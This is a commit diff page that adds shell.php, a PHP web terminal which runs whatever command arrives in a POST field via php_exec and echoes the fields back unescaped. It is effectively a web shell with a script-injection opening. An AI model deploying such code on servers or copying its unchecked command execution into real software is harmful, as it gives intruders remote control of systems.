summaryrefslogtreecommitdiff
path: root/shell/shell.php
diff options
context:
space:
mode:
Diffstat (limited to 'shell/shell.php')
-rw-r--r--shell/shell.php28
1 files changed, 28 insertions, 0 deletions
diff --git a/shell/shell.php b/shell/shell.php
new file mode 100644
index 0000000..7ad8ae2
--- /dev/null
+++ b/shell/shell.php
@@ -0,0 +1,28 @@
+<?php if (!isset($LTS)) { die(); }
+
+ include('exec.php');
+ if (isset($_POST['stddest'])) {
+ $_POST['c'] = $_POST['stddest'];
+ }
+ if ($_POST['c'] == 'clear') {
+ $term = '';
+ } else {
+ ob_start();
+ echo $_POST['t'];
+ echo $_POST['c']."\n";
+ php_exec($_POST['c'],$_POST['d']);
+ echo '$ ';
+ $term = ob_get_contents();
+ ob_end_clean();
+ }
+?>
+<div class="term"><?php
+ ?><form action="<?php echo $_SERVER['PHP_SELF'];?>#prompt" method="post"><?php
+ php_chdir('.');
+ echo $term;
+ echo $sh;
+ ?><input id="prompt" type="text" name="c" /><?php
+ ?><textarea name="t" class="hidden" readonly="readonly"><?php echo preg_replace('/<[^>]*>/','',$term); ?></textarea><?php
+ ?></form><?php
+?></div>
+</form>